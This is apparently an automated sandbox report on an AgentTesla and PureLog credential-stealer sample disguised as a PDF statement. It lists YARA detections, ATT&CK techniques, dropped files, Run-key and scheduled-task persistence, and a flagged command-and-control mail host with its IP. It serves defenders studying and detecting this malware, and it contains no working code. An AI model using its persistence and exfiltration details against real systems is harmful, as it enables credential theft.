Source: Yara match	File source: 10.2.eeBIYZL.exe.3fae400.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.BjTxJte.exe.4bec170.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.BjTxJte.exe.4c27190.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SOA FOR APR 2024 PDF.exe.48f62c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.eeBIYZL.exe.3fe9420.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.BjTxJte.exe.4637330.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.eeBIYZL.exe.3fae400.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.BjTxJte.exe.45fc310.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000002.2316615219.00000000045FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3273741870.0000000000435000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3282089409.0000000002861000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3282284281.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2132450490.0000000003FAE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2071533656.00000000048BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3283970574.0000000003211000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3285357778.00000000034D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2229738944.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SOA FOR APR 2024 PDF.exe PID: 1988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SOA FOR APR 2024 PDF.exe PID: 7384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: eeBIYZL.exe PID: 7512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: eeBIYZL.exe PID: 7788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7928, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7176, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7364, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0.2.SOA FOR APR 2024 PDF.exe.48f62c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.BjTxJte.exe.4bec170.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.BjTxJte.exe.45fc310.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.BjTxJte.exe.4c27190.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.eeBIYZL.exe.3fe9420.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.BjTxJte.exe.4637330.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.eeBIYZL.exe.3fae400.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.BjTxJte.exe.4bec170.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.BjTxJte.exe.4c27190.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SOA FOR APR 2024 PDF.exe.48f62c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.eeBIYZL.exe.3fe9420.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.BjTxJte.exe.4637330.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.eeBIYZL.exe.3fae400.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.BjTxJte.exe.45fc310.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.3282089409.000000000288C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2316615219.00000000045FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3273741870.0000000000435000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3282089409.0000000002861000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3283970574.0000000003244000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3282284281.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3285357778.00000000034FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3283970574.000000000323C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2132450490.0000000003FAE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3285357778.0000000003504000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3282284281.0000000002EB4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3282284281.0000000002EAC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2071533656.00000000048BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3282089409.0000000002894000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3283970574.0000000003211000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3285357778.00000000034D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2229738944.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SOA FOR APR 2024 PDF.exe PID: 1988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SOA FOR APR 2024 PDF.exe PID: 7384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: eeBIYZL.exe PID: 7512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: eeBIYZL.exe PID: 7788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7928, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7176, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7364, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.SOA FOR APR 2024 PDF.exe.3b69970.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SOA FOR APR 2024 PDF.exe.3b69970.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SOA FOR APR 2024 PDF.exe.5260000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SOA FOR APR 2024 PDF.exe.5260000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2071533656.0000000003B69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2075260613.0000000005260000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	112 Process Injection	1 Deobfuscate/Decode Files or Information	21 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	3 Obfuscated Files or Information	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	22 Software Packing	NTDS	211 Security Software Discovery	Distributed Component Object Model	21 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	1 Clipboard Data	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Hidden Files and Directories	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SOA FOR APR 2024 PDF.exe	45%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
SOA FOR APR 2024 PDF.exe	52%	Virustotal		Browse
SOA FOR APR 2024 PDF.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\eeBIYZL.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	45%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	52%	Virustotal		Browse
C:\Users\user\AppData\Roaming\eeBIYZL.exe	45%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Roaming\eeBIYZL.exe	52%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
mail.fascia-arch.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://r3.o.lencr.org0	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
http://r3.i.lencr.org/0	0%	URL Reputation	safe
http://mail.fascia-arch.com	0%	Avira URL Cloud	safe
http://x1.c6	0%	Avira URL Cloud	safe
http://mail.fascia-arch.com	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	104.26.12.205	true	false		high
mail.fascia-arch.com	50.87.195.61	true	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://r3.o.lencr.org0	SOA FOR APR 2024 PDF.exe, 00000009.00000002.3326899826.0000000006497000.00000004.00000020.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3275075106.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3358769112.0000000008990000.00000004.00000020.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.00000000028B4000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.000000000296A000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.0000000002894000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3275604629.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002EB4000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3275604629.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3276901832.00000000016BD000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3326328315.0000000006A5C000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.000000000351E000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3326328315.0000000006AA9000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.0000000003504000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.00000000035C4000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3276901832.00000000016CF000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3278778403.0000000001751000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3278778403.0000000001713000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3283970574.0000000003244000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ipify.org	SOA FOR APR 2024 PDF.exe, 00000000.00000002.2071533656.00000000048BB000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3273741870.0000000000435000.00000040.00000400.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.0000000002811000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000A.00000002.2132450490.0000000003FAE000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 0000000F.00000002.2229738944.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.000000000348C000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000015.00000002.2316615219.00000000045FC000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3283970574.00000000031C1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mail.fascia-arch.com	SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.000000000288C000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.00000000028B4000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.000000000296A000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002EAC000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.000000000351E000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.00000000034FC000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.00000000035C4000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3283970574.000000000323C000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://x1.c6	eeBIYZL.exe, 0000000E.00000002.3275604629.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.dyn.com/	SOA FOR APR 2024 PDF.exe, 00000000.00000002.2071533656.00000000048BB000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3273741870.0000000000435000.00000040.00000400.00020000.00000000.sdmp, eeBIYZL.exe, 0000000A.00000002.2132450490.0000000003FAE000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 0000000F.00000002.2229738944.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000015.00000002.2316615219.00000000045FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.org/t	SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.0000000002811000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.000000000348C000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3283970574.00000000031C1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SOA FOR APR 2024 PDF.exe, 00000000.00000002.2070759087.0000000002DEF000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000000.00000002.2070759087.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.0000000002811000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000A.00000002.2129650041.00000000025A1000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 0000000F.00000002.2226704866.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 0000000F.00000002.2226704866.000000000311F000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.000000000348C000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000015.00000002.2310538046.0000000002919000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000015.00000002.2310538046.0000000002B32000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3283970574.00000000031C1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	SOA FOR APR 2024 PDF.exe, 00000009.00000002.3326899826.0000000006497000.00000004.00000020.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3275075106.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.00000000028B4000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.000000000296A000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.0000000002894000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3275604629.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002EB4000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3275604629.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3326328315.0000000006A5C000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.000000000351E000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3326328315.0000000006AA9000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.0000000003504000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.00000000035C4000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3276901832.00000000016CF000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3278778403.0000000001713000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3283970574.0000000003244000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3322622943.00000000066A0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	SOA FOR APR 2024 PDF.exe, 00000009.00000002.3326899826.0000000006497000.00000004.00000020.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3275075106.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.00000000028B4000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.000000000296A000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.0000000002894000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3275604629.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002EB4000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3275604629.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3326328315.0000000006A5C000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.000000000351E000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3326328315.0000000006AA9000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.0000000003504000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.00000000035C4000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3276901832.00000000016CF000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3278778403.0000000001713000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3283970574.0000000003244000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3322622943.00000000066A0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://r3.i.lencr.org/0	SOA FOR APR 2024 PDF.exe, 00000009.00000002.3326899826.0000000006497000.00000004.00000020.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3275075106.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3358769112.0000000008990000.00000004.00000020.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.00000000028B4000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.000000000296A000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.0000000002894000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3275604629.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002EB4000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3275604629.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3276901832.00000000016BD000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3326328315.0000000006A5C000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.000000000351E000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3326328315.0000000006AA9000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.0000000003504000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.00000000035C4000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3276901832.00000000016CF000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3278778403.0000000001751000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3278778403.0000000001713000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3283970574.0000000003244000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.26.12.205	api.ipify.org	United States		13335	CLOUDFLARENETUS	false
50.87.195.61	mail.fascia-arch.com	United States		46606	UNIFIEDLAYER-AS-1US	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432007
Start date and time:	2024-04-26 09:01:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SOA FOR APR 2024 PDF.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@33/20@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 414 Number of non-executed functions: 32
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:01:52	API Interceptor	1545495x Sleep call for process: SOA FOR APR 2024 PDF.exe modified
09:01:56	Task Scheduler	Run new task: eeBIYZL path: C:\Users\user\AppData\Roaming\eeBIYZL.exe
09:01:56	API Interceptor	26x Sleep call for process: powershell.exe modified
09:01:58	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run BjTxJte C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
09:01:59	API Interceptor	204478x Sleep call for process: eeBIYZL.exe modified
09:02:06	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run BjTxJte C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
09:02:09	API Interceptor	978557x Sleep call for process: BjTxJte.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.12.205	Sonic-Glyder.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	SecuriteInfo.com.Backdoor.Win32.Agent.myuuxz.13708.17224.exe	Get hash	malicious	Bunny Loader	Browse	api.ipify.org/
	lods.cmd	Get hash	malicious	Remcos	Browse	api.ipify.org/
50.87.195.61	vbc.exe	Get hash	malicious	FormBook	Browse	www.vegrebel.com/nnmd/?VRNp=wBZl4vkh1&MvdD=iedGY0/hYfrjbbwxufAPjCijJp09b4Pnd9RoleXu3W9ZUfsJsAn0SGbENHPecaFD81L2
50.87.195.61	SWIFT COPY_PDF.exe	Get hash	malicious	FormBook	Browse	www.smguidetowkw.com/m2be/?Et5pFP9=GRobwBHqsz/I/K6QMyhqlyyiibK6nxcxU5TpJro9yIpA+ftqAp39OLT0oN0WcJ2Wu53Xy7WDvg==&uDKLJ=D48t

Domains

